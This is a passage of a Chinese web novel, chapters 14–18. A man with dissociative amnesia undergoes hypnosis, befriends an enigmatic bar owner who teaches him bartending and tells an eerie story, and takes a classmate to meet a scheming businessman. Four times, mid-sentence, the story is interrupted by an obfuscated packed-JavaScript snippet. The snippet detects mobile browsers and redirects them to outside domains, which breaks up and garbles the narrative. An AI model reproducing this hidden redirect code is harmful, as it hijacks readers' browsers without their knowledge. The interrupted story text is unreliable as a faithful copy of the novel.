杜鸻语气激动地说完,难受道:“听他们说的时候我觉得自己就像个局外人,明明我是那些事件的当事人,但是我却没有任何记忆。怎么会这样?” 心理医生让他放松,“先不要着急,这种情况在心里临床上也是有的。先让我来了解一下,你之前有没有经历过什么重大变故或者是重大事故,比如脑袋有没有受到过什么外伤?” 杜鸻摇头,“没有经历过事故,但是变故……不知道算不算?” 心理医生抬手,“请说。” 杜鸻说:“之前,我还没换工作之前,有几个同事因为过劳猝死,其中一个生前和我的关系还不错,工位就在我旁边。我也是因为这件事离开了原来的公司,换了一个新的工作。但是换工作后,我有很长的一段时间睡不好,总是半夜惊醒,就是怕自己像他们那样。平时没什么活的时候还好,活儿一多,需要熬夜加班的时候,我的情况会比较严重。这……算是变故吗?” “当然。”心理医生脸上的表情没怎么变化,但周身散发出来的气场却顿时柔和了很多,“这样吧,咱们再做一个量表。之前的诊断没有问题,不过我现在需要量表结果来做一个辅证。” 杜鸻点头,“好。” 量表是新的,针对性和上次又有不同。 诊断结果出来了。 由焦虑衍生出的解离症。 解离性失忆和不那么典型的自我感消失症。 “解离?”杜鸻看着诊断结果,有些茫然。 心理医生结合杜鸻当前的情况做了简单易懂的解释,“你别太担心,这样,我们做个有意思的事情。” 杜鸻:“什么?” 杜鸻被引导到一张舒服的沙发椅上躺着。 “闭上眼睛,我们先去梦里看一看。”心理医生说,“不用担心睡不着,跟着我的提示来就好。放轻松。不管梦里有什么都不需要害怕,那只是个梦而已。” 杜鸻知道这是要做催眠了。 这还是他第一次接受催眠。 不过他对催眠这件事没有抵抗,而且他也希望有一个专业的人和他一起进到梦里去看看他梦里的世界到底是真的还是假的,他究竟为什么会做这样的梦。 心理医生很有耐心,他很快就被引导进入了梦里。 这个梦和他平时做的梦都不太一样,因为梦里到处充满了虚幻,没有一点实感,他几乎在进入梦境的瞬间就知道自己是在做梦。 他还能回答心理医生的问题。 心理医生给他构建的是他的学生时代。 他的初中,目前他记忆中争执最大的一个部分。 心理医生:“现在,你是代理班长,需要给班上的同学点名。看到那个坐在第一排的女生了吗?” 杜鸻:“看到了。” 心理医生:“好,从她开始。” 杜鸻才在家里看过他们的初中毕业照,所以很自然地就说出了他初中同学的名字。 他顺着名字一个一个念下去。 “孙勇。” “……” “……” “何方。” “……” “……” “张悦。” 心理医生:“这个女孩叫什么名字?” 杜鸻的声音很坚定,“张悦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974453|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>心理医生:“只有两个字吗?” 杜鸻:“对,只有两个字。” 心理医生:“平时大家互相称呼的时候会下意识把她名字里的最后一个字去掉吗?” 杜鸻:“不会,她的名字只有两个字,就是张悦。” 心理医生:“好。这个女孩叫什么?” 杜鸻:“张悦。” 心理医生:“她回答你了吗?” 杜鸻:“没有。” 心理医生:“会不会她的名字还有第三个字?” 杜鸻有点挣扎,“不,她就叫张悦。” 心理医生:“她不理会你。现在你试着再叫她的另一个名字。你知道的。” 杜鸻很久没说话。 心理医生问:“她答应了吗?” 杜鸻:“……答应了。” 心理医生:“你叫的是哪个名字?” 杜鸻:“……张悦佳。” 心理医生:“所以她的名字其实是三个字的对吗?” 杜鸻:“或许吧。” 心理医生:“好。现在点完名了吗?” 杜鸻:“点完了。” 心理医生:“做得很好。现在放学了,你可以睁开眼睛了。” 杜鸻睁开眼睛后,在沙发椅上缓了好一会。 心理医生看穿了杜鸻的情绪,“放轻松,没关系。解离性失忆有时候会让某些真实存在的记忆变得模糊,反而是另一段相似的记忆会十分稳固。这是其中一个特征。你和这位张同学以前有过什么故事吗?” 杜鸻摇头,“他们都说我给她写过情书,但是我觉得没有。我不记得这件事,她对于我来说就只是普通同学而已。” 心理医生点头,“好的,没有关系。这次你表现得很好。上次给你开的药吃完了吗?” 一提到上次的药,杜鸻有点心虚,“我没吃。” 他解释了自己没吃的原因。 心理医生没有生气,只是深吸了一口气,“可以理解。那这次就不开新的药了,上次的药也是对症的。除了药物控制之外,平时多注意放松,放宽心,凡事都没有那么绝对。还有,谨遵医嘱,好吗?” 杜鸻点头,“谢谢医生。这次我真的会谨遵医嘱的。” 从医院出来后,杜鸻看着阴沉得像是要下雨的天,重重地叹了口气。 他刚才有句话还没说,虽然医生能够通过短短几句话给他构建一个梦,挺厉害的,他也确实见识到了催眠的牛逼,但对他来说那个梦太假了。 他做过好多好多的梦,他也知道真正做梦的人大多都不会意识到自己是在做梦,只有身体醒了,意识却还沉浸在梦里的时候会发现自己其实在做梦。 这些情况他都遇到过,所以刚才那个催眠构造出来的梦境,让他很抵触也让他觉得一点都不真实。 所以那场催眠是不是其实一点用都没有? 远处雷云里闪过一丝光亮,接着轰隆的雷声炸开。 真的要下雨了。 他没带伞,也不想回家。 他直接打车去了世外酒馆。 他到酒馆的时候雨已经下起来了,他三两步跑进酒馆里,外套湿了大半。 望老板从吧台后面看过来,眉头一扬,“哟。” “望老板,来一杯抽丝吧。” 15. 第 15 章 抽丝放到了面前,吧台的灯光透过杯壁,折出漂亮的光痕。 杜鸻看着光痕出神。 之前他觉得这杯抽丝像他自己,光痕是丝,辗转缠绕,但现在他才发现自己好像误会了这杯酒。 他的思绪剪不断理还乱,可杯中酒的光痕再凌乱多变,总能遵循光的轨迹,每一步都有迹可循——看似乱,实际上很有规律,哪怕纵横交错也绝对没有半点错处。 一是一二是二。 可他呢? 乱到找不到任何头绪,好像从头到尾都很不对。 不对的是他本身。 杜鸻眼神倏地暗淡无光,他捞起抽丝一饮而尽。 “哎。”望老板喊了一声,“今天又有心事?” 杜鸻“嗯”了一声,“算是吧。” 望老板懒洋洋地撑着下巴看他,“让我猜猜。今天这个点来,没上班儿?” “没,”杜鸻指了指自己的脑子,“我还没说过吧?我的脑子不太好,不记事儿。” 望老板收起了身上的懒散劲,“怎么回事儿?” 杜鸻耸肩,把空了的酒杯往回推,“玄学上说是气运不好,耗命,医学上说就是焦虑引发的解离症。” 望老板点点头,拿起杜鸻的空酒杯晃了晃,意思是“再来一杯?”。 杜鸻伸出了一根手指。 望老板一边调酒一边说:“这我知道,有时候会觉得这个世界啥都是假的,一点都不真实,是吧?解离犯的时候应该是这样吧?” “对!”好不容易等到一个能理解他的人,杜鸻激动地坐直身子,“对,就是这种感觉。不知道从什么时候开始的,我老觉得恍惚。有时候会觉得眼前的事儿不太真实。不止这样,我的脑子不好在于我的记性不好,好几次了,自己脑子里的记忆跟别人的对不上账。现在连我小时候发生的事儿都得别人告诉我。” 望老板有点惊讶,“这么严重?” “是吧。”杜鸻苦笑着倒回椅子里。 望老板把新一杯的抽丝放上来,“试试。” “不是抽丝?”杜鸻问。 望老板神秘一笑,“先试,看你能喝出什么区别么。” 望老板的调酒功夫杜鸻是相信的,虽然他到现在就只喝过人鱼的眼泪和抽丝,但像抽丝这种之前都没有过的新品都调得很好喝。 杜鸻抿了一口。 入口苦涩,接着是无酸的小甜橙的味道,橙香混着薄荷,浓而不腻,还很提神。 望老板抬手,“再喝。” 第二口是高度酒的辛辣。 辣后是被刺激出来的甜。 越咽越甜。 “我试试第三口。”杜鸻说着,一口见底。 最后一口,带了浓厚的果粒,绵软清甜,像是喝到了最清冽的泉水,但又带着糯米的香气,再一品,才能品出一点酒味来,恰恰微醺。 “好丰富的口感。虽然和抽丝一样都是先苦后甜,但是这一杯甜的余韵存留的时间比较长。”杜鸻宛若醍醐灌顶,“这杯叫什么名字?” 望老板:“抽丝plus。” 杜鸻毫不客气道:“不好听。” 望老板:“那你说?反正这杯的灵感来源也是你。” “我啊?”杜鸻没想到他给望老板带来的灵感能有这么深的层次,一时间有点懵,“不知道,醍醐灌顶豁然开朗?醍醐?” 望老板也不客气,一个白眼翻起来,“你听听这好听?” “……”杜鸻敲了敲桌面,“破茧吧,破茧怎么样?这杯喝着有一种成了的感觉,破茧不正好对上了么?” 望老板竖起大拇指,“成。漂亮。” 杜鸻腼腆地笑了一下。 望老板:“再来一杯?破茧还是抽丝。” 杜鸻深吸一口气,“抽丝吧。” 望老板眉毛一挑。 杜鸻看着那空杯,又愁眉苦脸的,“现在我脑子里还一团乱,刚是上头了,但还没到破茧的地步。” “行。”望老板又重新调了一杯抽丝,“今天是做治疗去了?” 杜鸻:“嗯,做了催眠。” 望老板抬眼,手里的调酒速度却没半点变化,“是不是觉得催眠师给你构造的梦境也假假的?” 杜鸻往前一凑,“你怎么知道?” “我也做过。”望老板笑着摇头,“难怪我第一次见你就觉得你有意思,原来是咱俩遇到过一样的事儿。不过我开这酒馆这么久,除了我自己之外,还真没人能给我什么合适的灵感出新酒,你是第一个。” 杜鸻也笑起来,这下是真轻松了,“那我还挺荣幸的。望老板,你做过几次催眠啊?现在好了么?” “挺多的。”望老板把新一杯的抽丝推过来,坐在椅子上休息。 吧台灯光偏暖,望老板正好坐在光下。暖光打在他身上晕出了浅浅的一圈,让他看上去多了几丝神性。 杜鸻有点意外自己的这个想法。 他平时很少,不,准确来说是从来都没有觉得谁的身上会有神性。 他去过很多座寺庙,没觉得里面的师父身上有神性;他也见过所谓的风水大师,也没觉得对方身上有什么独特的气质。 望老板是唯一一个让他觉得真的符合“世外”这两个字的人。 世外。 世外酒馆。 这会是这个小酒馆的名字来源么? 望老板把手伸到杜鸻面前打了个响指,“发什么愣?在我身上看见什么了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974454|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 杜鸻回神,用力闭了下眼睛,再看的时候那种感觉就消失了,眼前的望老板看起来真实了很多。 “也……没什么。” 杜鸻不知道怎么说。 虽然望老板和他的经历挺像的,但怪力乱神的东西应该不是谁都能接受的吧? 说人身上有神性,那不是神经病吗? 望老板倒是很坦荡,“说呗,说说看,看看咱俩是不是又有什么共同点。” 杜鸻先给望老板打预防针,“我说了你别笑我啊。” “不会,笑你干什么。”望老板已经在笑了。 酒精上头,杜鸻心一横,“我从你身上看到了神性!” 望老板脸上的笑容僵住了,慢慢地嘴角下压,最终只艰难地提起了一点,“神性啊……” 杜鸻以为望老板觉得他是在胡言乱语,生气了,赶紧说:“那什么,望老板,我今天喝不少了,酒后胡言乱语的你别放在心上,真的。” 望老板面色沉沉地盯着他看了好一会儿,突然又笑了,“想学调酒吗?” 杜鸻更懵了,指了指自己,“我啊?” “是啊。”望老板拿出调酒器,“我这个人不喜欢记笔记,尤其是能给我灵感的东西。调酒这种事,不仅得注意比例,调酒时的心态也很重要。你会做饭么?” 杜鸻:“不会。怎么扯到做饭了?” “没事,只是想打个比方。”望老板起身,“不会做饭也没事儿,现在不想学调酒也没事儿,就是提前给你说一声,可能我以后没法给你调抽丝和破茧了,其他的不学,这俩总得学一下吧?万一以后你自己想喝呢?” 杜鸻觉得自己今天一定是喝高了,虽然才喝了三杯,但这三杯的后劲都很足,破茧的还不知道,但是抽丝是这样。 他要不是喝高了怎么觉得自己听不懂望老板的话呢? 他脑子坏成这样了? “算了,”望老板摇了摇头,“我也是太急了。我去外面抽口烟,你喝你的。” 杜鸻的目光一直追着望老板的背影。 望老板一脚踏上楼梯的时候,他突然朝人喊了一声。 “望老板。” 望老板转过头,半张脸都藏在阴影里,“怎么?” 店里是真的没什么人,今天下雨,估计愿意出来喝酒的人不多,只有角落里坐着三两个。 “你会把这个小酒馆一直开下去的对吧?”杜鸻不知道自己为什么要这么问。 他总觉得望老板话里有话,但他还猜不出来。 望老板搭在扶手上的手指轻快地敲了两下,扭头上楼。 身影已经消失在拐角了,声音才从上面落下来。 “或许吧。谁知道呢。” 16.第 16 章 这场雨连着下了两天,几乎把城市的街道都淹没了。然而他们公司的老板是个扒皮,只要天上没有下刀子,该去上班就还是得去。 杜鸻正在工位上查看手头客户的订单情况,尾款没给的要催缴,这一单基本结束了的就得追问下一次进货是什么时候,也算有得忙。 小徒弟那边没什么动静,似乎上次胡总那一单谈得很顺利。 至于阳总那边,他上次拒绝了之后阳总就没再找过他,不知道是真放弃了还是项目出了问题,反正暂时也没动静。 这样很好,谁也别再给他找事儿。 刚松了口气,手机进了一条消息。 是孙勇。 杜鸻一拍脑袋,突然想起了之前答应孙勇的事儿,看了个医生,喝了几杯酒之后就彻底忘记了。 打开消息一看,孙勇确实是来问他什么时候带他去找阳总的,而且十万火急。 杜鸻深吸了口气。 第二天周末,虽说他不确定周末的时候阳总会不会在会所,可他也不想直接去问。要是一问,真的跟阳总碰上面了,那就免不了再聊新项目的事儿。 他是真的接受不起阳总的折腾了。 【杜鸻:明天吧。明天早上十点,小区门口见。我带你去见阳总。不过我没法保证明天阳总一定会在。我只负责带你过去。】 【孙勇:好好好,真的谢了。】 当天只有孙勇这个插曲,一直到下班都没有其他什么奇怪的事情打扰。 第二天是个晴天,早早地就出了太阳,给倒春寒带来一丝不起眼的暖意。 “吃早餐没?吃点儿?”孙勇拿出两个面包。 杜鸻婉拒,“吃过了,谢谢。” 孙勇开了车来的,就在小区门口的路边上停着。 他们这儿没什么正经物业,车随便都能开进小区里,虽说要收费,但多少也比在外面停着被开罚单的好。 孙勇习以为常地摘掉挡风玻璃上的罚单,“上车上车。” 杜鸻只是多看了眼孙勇手里的白色单子,没说什么。 孙勇把罚单往手套箱里塞,“嗐,你遇到过这种事儿没?回个自己家没地儿停车就算了还得被开罚单,我都习惯了。” 杜鸻摇头,他没买车,因为他们公司有交通补贴,很多时候用交通补贴就够了,有辆车反而容易被当做公车来用,不太方便。 杜鸻给了孙勇一个地址,“阳总可能会在这儿,不过我不确定,试试吧。” 孙勇仔细看了一下那个会所名字,“这会所没见过啊。新开的?” “嗯。”杜鸻没有多说。 孙勇狐疑道:“这新开的会所没什么名气啊,阳总能去这样的会所?不是,我没有怀疑你的意思啊,就是觉得奇怪。” 杜鸻抬手挡了一下刺眼的阳光,“去看看不就知道了。” “也是,反正有时间。”孙勇发动车子,往会所方向去。 会所确实偏。 杜鸻看着窗外略过的景色和三三两两的人,第一次觉得这会所的地理位置好像不是那么好。 孙勇也开迷糊了,看着空荡荡的车道,有点慌,“杜鸻,这路对吗?” 杜鸻:“对,我来过几次了,放心开吧。” 终于到了会所。 这会所从外面看是真的低调,但换谁来看也都知道这种格调的会所绝对不会是谁都能随便进的。 一开始还觉得杜鸻骗人的孙勇在下车后已经开始有些腿抖了。他刚从后备箱里把见面礼带出来,就见一个服务员跑过来,“两位有预约吗?” 孙勇惊道:“还要预约啊?” 杜鸻也有点窘。他之前来的时候确实都不用预约,也有可能那会儿还没有正式开门迎客。 服务员仔细打量了一下杜鸻,“杜先生?” 杜鸻没见过这个服务员,更没想到这个服务员认识他,“是,你认识我?” “见过您。既然是您带朋友来就不需要预约了。”服务员的态度好到可怕。 杜鸻被孙勇打量得直发毛,他也没法解释现在的情况,只能硬着头皮问了一句,“阳总在么?” “在,今天巧了,阳总刚好在会所。”服务员看向孙勇,“需要帮您泊车吗?” 孙勇赶紧把钥匙递过去,“谢了。” 服务员说了句“不客气”后把孙勇的车开去停了。他们刚进门,又来个指引的人,张嘴就是“杜先生”,服务态度也达到了五星级的标准。 杜鸻脸上端着假笑,微微落后一点跟在指引的服务员后面。 孙勇就跟刘姥姥进大观园似的左瞧又看,然后用手肘捅杜鸻两下,“可以啊你小子,来这么高级的地方竟然直接刷脸就行。还得是跟着你来,否则我自己来,什么时候才能进这个门。” 杜鸻一脸苦笑。 他可不想能刷什么脸。 也不知道阳总到底是怎么在这个会所里宣传他的。之前他就见过两个接引的小姑娘,这次明显多了很多脸生的服务员,这都还能认识他也真的是奇了怪了。 看来他今天和阳总这一面是非见不可了。 服务员把他引到茶室。 “阳总正在接待其他的客人,杜先生和孙先生请先稍等。” 杜鸻点头,“好。” 服务员问:“需要为二位叫一个茶艺师过来吗?” 杜鸻:“不用了,谢谢。” 服务员退出去了。 茶室里就只剩下他们两个人,孙勇终于有了好好说话的机会。孙勇先大夸特夸了这个会所一番,然后挤眉弄眼地说杜鸻和阳总的关系非常不错,看来是真的抱上大腿了。 “这阳总铁定非常看重你,你说你怎么就想不开把阳总这么好的客户推出去了呢?哎,你说说你,要和这阳总的合作真的能谈成,我肯定牢牢地把握不放,真的。” 杜鸻不想和孙勇说阳总到底有多难搞,也不想说阳总为了自己的利益,是怎么利用他,用什么手段把他拉下水的。反正他答应做的已经做到了,剩下的路就是孙勇自己走了。 阳总来了。 “杜老弟!”阳总脸上都笑开了花,“老哥等你的信儿等得很辛苦啊。没想到你今天直接过来了,是想好了?” 杜鸻和阳总虚虚地抱了一下,说:“阳总,我今天是带朋友过来的。这是我……发小,他说自己特别崇拜您,非得让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14975871|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我带着来认识一下。阳总别见怪啊。” 阳总一笑,“咱俩什么关系,这么客气。” 孙勇赶紧上前做自我介绍,“阳总您好,鄙人是XX有限公司的业务经理孙勇。这是一点见面礼,不成敬意。” 阳总也不客气,直接收下了,“客气了客气了。这公司我听过,之前好像参与过我们公司的招标会是吧?是个挺年轻也挺厉害的公司。” 孙勇一听,差点儿就热泪盈眶了,“是是是,没想到阳总您还记得!只可惜当时没能中标,不过我们公司一直都非常期待和您的合作。真的,我们老板每天都念叨着这件事儿,都快整疯魔了。” 阳总是个爱听吹嘘话的,被孙勇这一拍拍得十分舒服,站着和孙勇多聊了两句。 杜鸻就站在一边听,思绪开始神游,游着游着就想到了望老板。那天后他就没再去过室外酒馆,一是下雨,二是他这个人也确实不是那么嗜酒。 望老板那天说要教他调酒的话似乎也是玩笑话,因为那天他拒绝了之后,望老板就没有再提,也没给他发过任何的信息。 手机嗡地一振。 说曹操曹操到。 望老板问他什么时候有时间到他那去学调酒。 “不好意思,失陪一下。”杜鸻打断了两人的聊天往外走。 孙勇问了一嘴:“他是不是生气了?” 阳总笑而不语。 杜鸻听见了,但他懒得理,直接离开了茶室。 茶室外的空气就是新鲜。 他在外边回复望老板的信息。 茶室内的气氛瞬间有了变化。 “孙经理和杜鸻是同学?”阳总的神色已经没有了刚才的和蔼。 茶室茶香缥缈,孙勇却闻到了一股冰冷的味道。他敏感地意识到,这个阳总刚才对他那么和颜悦色地完全是看在杜鸻的面子上。现在杜鸻出去了,阳总对他可就没有那么多的耐心了。 他暗暗倒吸一口气,说:“是,我俩是初中同学,一个院子里玩的,很熟,关系很好。” 阳总长长地“哦”了一声,“那就好办了。” 孙勇:“阳总,您的意思是?” “是这样,我有一个项目有心要找杜鸻合作,但是他这人的原则性太强,你也看到了,我对他这个人还是很看重的,也非常相信他的能力。我知道你来找我是为了什么,合作的事好说,都是我一句话的事儿,但前提是,你得帮我办成一件事儿。” 孙勇一听,迫不及待表忠心,“阳总您说,只要是我能办到的事儿我肯定给您办了!” 阳总满意道:“能——你肯定能,你既然和杜鸻关系这么好,有些话你来说,比我说管用得多。来,喝茶。” 阳总先一步坐下了。 孙勇也赶紧坐下,非常有眼力见儿地烧水煮茶。他压根没学过煮茶和品茶,喝酒他就很在行,但没办法,他只能强装镇定地把茶泡上了。 浓郁的茶香蔓延。 孙勇透过茶雾看向阳总,看着阳总得志的样子,心里直打突。 他这破嘴。 他哪儿能劝得动杜鸻啊,这次求着杜鸻带他来找阳总都是使了浑身解数了! 17.第 17 章 望老板催得很紧。 杜鸻对喝酒都没什么兴趣,更别说调酒了。 但现在望老板的催促对他来说无异于一个非常好的离开借口。他连茶室都没再进去,径直穿过长廊回到大厅。 刚才接引的服务员看到他,赶紧上前,“杜先生这是要走了吗?” “对,临时有点事,朋友催得紧。这样吧,麻烦你跟阳总说一声,今天我没法多陪,扫兴了是我的问题,下次我一定找机会补上。” 望老板的消息恰好又进来了,还是催促的语气。 【望老板:出门了没?】 【望老板:我就在这等你啊,你一定得来。】 【望老板:赶紧赶紧赶紧!】 望老板连发三条,直接把紧张的氛围拉满了。 服务员正好看到了望老板发来的消息,“好的,杜先生,阳总不会怪你的。需要我为您叫车吗?” 这里是真的不好打车。 上次他和小徒弟来的时候容易,走的时候等人接单都等了好一段时间。 “行,多谢。”杜鸻报了他们公司的地址。 服务员帮他叫车去了。 大概是跟他们这儿有合作,车很快就到了,还是高级的专车。 “杜先生慢走。”服务员把他送到门口。 杜鸻上车后给孙勇发了消息。 孙勇很快回复。 【孙勇:好,那你先忙,今天谢了,改日请你吃饭。之前答应你的事儿不会忘的。】 杜鸻没回。 孙勇是不是能靠着自己的本事拿下阳总跟他一点关系都没有。他只希望不要再有什么乱七八糟的事儿了。 白天的世外酒馆没人。 望老板坐在吧台后发呆,看见他来了才像是活过来了似的,“大周末的跑哪儿去了?你们不是双休么?” “是啊,被强拉着去卖了个人情而已。”杜鸻来到这,整个人都放松下来,“虽然不知道你为什么非得让我学调酒,但是呢,你今天给我发的信息给了我一个很好的借口开溜,所以我就学吧。” “我就学吧~”望老板学杜鸻讲话,“怎么,我这些可都是独门秘方,从来都不外传的,你看我这儿连个学徒都没有,知道我对你多重视了吧?” 杜鸻点头,指了指吧台后面,“我能进去?” “来。”望老板给杜鸻开门。 杜鸻还是第一次进到吧台后面,从里面往外看和从外面往里看的感觉完全不一样,他感叹了一下后说:“我没学过调酒的,而且手笨,万一把你的调酒器啊啥的摔坏了不会让我赔吧?” “坏了就坏了,又不是什么能带走的东西。”望老板说完,拿出自己吃饭的家伙,挨个给杜鸻介绍,“……这些我也就这么随便一介绍,你也就这么随便一听就行,都不是什么太重要的东西,反正用得顺手就行,你想怎么用都不要紧。” 杜鸻:“行。” 他其实还真的没怎么记住。 就算记住了也没什么用,就他现在这个脑子,怕是现在记住了改明儿就忘了。 平时没觉得,今天和望老板一学才发现望老板其实真的是一个挺好挺有意思的人,就像之前望老板说他有意思的那样。 聊天的时候侃侃而谈,明明也比他大不了多少,但是遇到的事儿好像还不少。当然,他现在也不年轻了。 不过他总觉得望老板的身上有一种经历了很多事儿的稳。 具体的也说不上来。 有点世外高人的意思。 “看明白了?”望老板把一杯抽丝推到杜鸻面前。 杜鸻拿起来品了一口,“应该吧。” 他其实什么都没记住。 望老板是真的要他学,直接把工具和材料都放到他的面前,“用量先不用管,步骤对了就行,具体的用量按照你的想法来。” 杜鸻被赶鸭子上架。 他笨手笨脚地把苦橙切片,把桌上的酒瓶翻得有点乱。 步骤是没错了,但是因为手法和配比不对,做出来的东西味道天差地别。 “好苦!”杜鸻喝了一口差点就吐了。 望老板大笑,“别吐,你慢慢品,觉得什么多了什么少了?” 杜鸻咬着舌头,一脸茫然。 他的舌头都被苦麻了,他哪儿知道。 望老板突然一拍脑袋,“忘了,应该先给你品一下每一种原料是什么味道。” 他给杜鸻拿了杯水,又拿出几个杯子,把调抽丝要用到的原料挨个用杯子装了一点给杜鸻试。 杜鸻是真的不擅酒。 品了半天也没品出个七七八八。 他在小酒馆一直待到夕阳西下,夜幕降临。 小酒馆的人逐渐多了起来,不吵,但多了几分热闹。 小酒馆的灯开起来了,望老板得忙,没工夫再教杜鸻东西。 杜鸻也没在吧台后碍手碍脚,给自己弄了一杯已经有点成型了的抽丝给自己喝。 他就坐在吧台看望老板忙活。 他觉得望老板今晚有点心不在焉,调酒的时候虽然手上的速度没有变化,但心思明显不在上面。 望老板终于歇下来了。 “望哥。”杜鸻第一次这么叫望老板,都给望老板叫愣了。 望老板愣了一下后笑起来,“吓我一跳,你这称呼突然改的,我还有点不习惯。怎么,自己调的不好喝?” “是真不好喝。”杜鸻实话实说,“不是,我就是觉得你怪怪的。上次我说完那什么的时候,你的情绪就不太对,我是不是冲撞到你了?” “没有。”望老板坐下来,“我给你讲个故事?” 杜鸻觉得新鲜,这还是他头一回听望老板说故事,“行啊,我也喜欢听故事。” 望老板的故事氛围有点沉。 “我有个朋友。你别笑,不是,真是我有个朋友。我俩算是一块长大的吧,关系很好。上大学那会没在一个学校,但是都在同一座城市,没事儿的时候就一块约着上外边玩。有一回怎么的呢,我跟他喝完酒回去,就回去的路上,我走在他后边,我问他,他身上怎么有一圈儿的光啊,看着挺神性的。他说我放屁,路灯照下来谁身上,没点儿光圈。他说我也有。” “我也没在意,有就有呗。而且我俩当时都喝了酒啊,谁知道是不是眼花了,是吧?第二天,我接到他们辅导员电话,说人没了,让我过去一趟。” 杜鸻心头一跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14984455|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他突然想到了卢运。 卢运回家那天,他看着卢运心里也有说不上来的感觉,倒是没觉得对方身上有什么神性,就是觉得不对劲。 大概那是一种提示,一种卢运会死的提示。 就像望老板说他那朋友身上有一圈光是一样的。 一圈光。 神性? 杜鸻倏地想到了前几天。 怪不得当时望老板的表情那么奇怪,是不是因为…… 望老板继续说:“后来我回来一想,是不是当时我从他身上看到的东西给了我什么提示。我这人呢,也不是什么标准的无神论者,但也不是那种喜欢神神叨叨的。不过那天的事儿让我不得不信一些东西。后来又发生了一些别的事儿,也找了大师看,说得挺对的。” “望哥,我觉得有些事情它可能就是个巧合。就比如说,你的那个朋友不是也……看到了吗?但是你没事儿啊。还有那天,我喝酒了,就是随口一说,真的,你别太放在心上。”杜鸻赶紧截断望老板的话安慰,只是他笨口拙舌的,估摸着没什么效果。 他看见的望老板神秘一笑。 “你怎么知道我没事?” 杜鸻懵了,“什么……意思?” 望老板坐不住了,起身给自己调了杯酒,“上次你跟我说的催眠的事儿还记得么?你说构造的梦不够真。” 杜鸻不知道话题怎么又跳到了这,“对。” “催眠本来就不是让人真的睡着,构造出来的东西也是为了治疗用的,所以肯定不会显得真实,这是一点。”望老板突然放下手里的东西,撑着吧台凑近,“但是更多的被催眠的人通常不会考虑这个,只有一些特殊的人会用它来跟自己的梦作对比。” 杜鸻听得云里雾里,“我没听懂。” 望老板:“你觉得你梦里的世界怎么样?你的感觉。” 杜鸻想了想,“真实?” “嗯。”望老板的声音压得很低,“那你有没有想过,我的朋友在这个世界里是死了,但假如还有另一个一模一样的世界,那里死的是我,活的是他呢?” 杜鸻倏地瞪大眼睛,神色错愕。 望老板“嗤”地一声笑了,手里的调酒杯磕了一下桌面,发出清脆的响,“逗你的。被吓到了啊?看来我这个故事不太好。啧,该选一个快乐点儿的。” 杜鸻摇头。 算不上被吓到,他只是惊讶于望老板的思路。 望老板的这个想法太新了,他从来没有考虑过这个可能。 他试探性地问:“望哥,你有过记不清事儿的时候么?” 望老板:“怎么?你是说像你这样的,记忆对不上的情况?” 杜鸻屏息点头,看向望老板的目光却很急切。 他是真的急,急于找一个跟他有同样感觉的人,能够理解他的人。 这太难了,真的太难了。 “有过。”望老板喝了口杯中的酒,长叹一口气,“有时候我也挺恍惚的,分不清真假。也茫然过。” 杜鸻追问:“那后来呢?” “后来?后来想开了呗。”望老板和杜鸻碰了一杯,“真的假的关我屁事,我是真的就行了呗。干了——” 18.第 18 章 杜鸻在世外酒馆多喝了几杯,下午的酒醒了,但晚上又喝得太多了。他晃晃悠悠地回到出租屋,连续卧室都没进,直接倒在客厅的沙发上,沉沉地睡了过去。 倒春寒的日子里,夜晚的温度总要低很多。 杜鸻昨天走的时候就没关窗,今晚客厅的窗户还大敞着,窗帘被风吹起一角,很快又因为没有支撑而落下。 沙发上的杜鸻翻了个身,抱紧自己。 酒精缓慢挥发后,给身体里带去的那股子热劲儿逐渐消散。他能感觉到冷,但却醒不过来。 他已经陷入梦里了。 * 杜鸻带着醉意从酒吧里出来,外面凉风徐徐,直接给他吹清醒了。 他拦了辆出租车,上车后报了个地址就没再说话。 大概是闻到了他身上的酒气,司机也没没话找话,一句话都没说,只是在到地方的时候报了个车费。 杜鸻在小区里溜达了半天才决定上楼。 他这个周末都住家里。 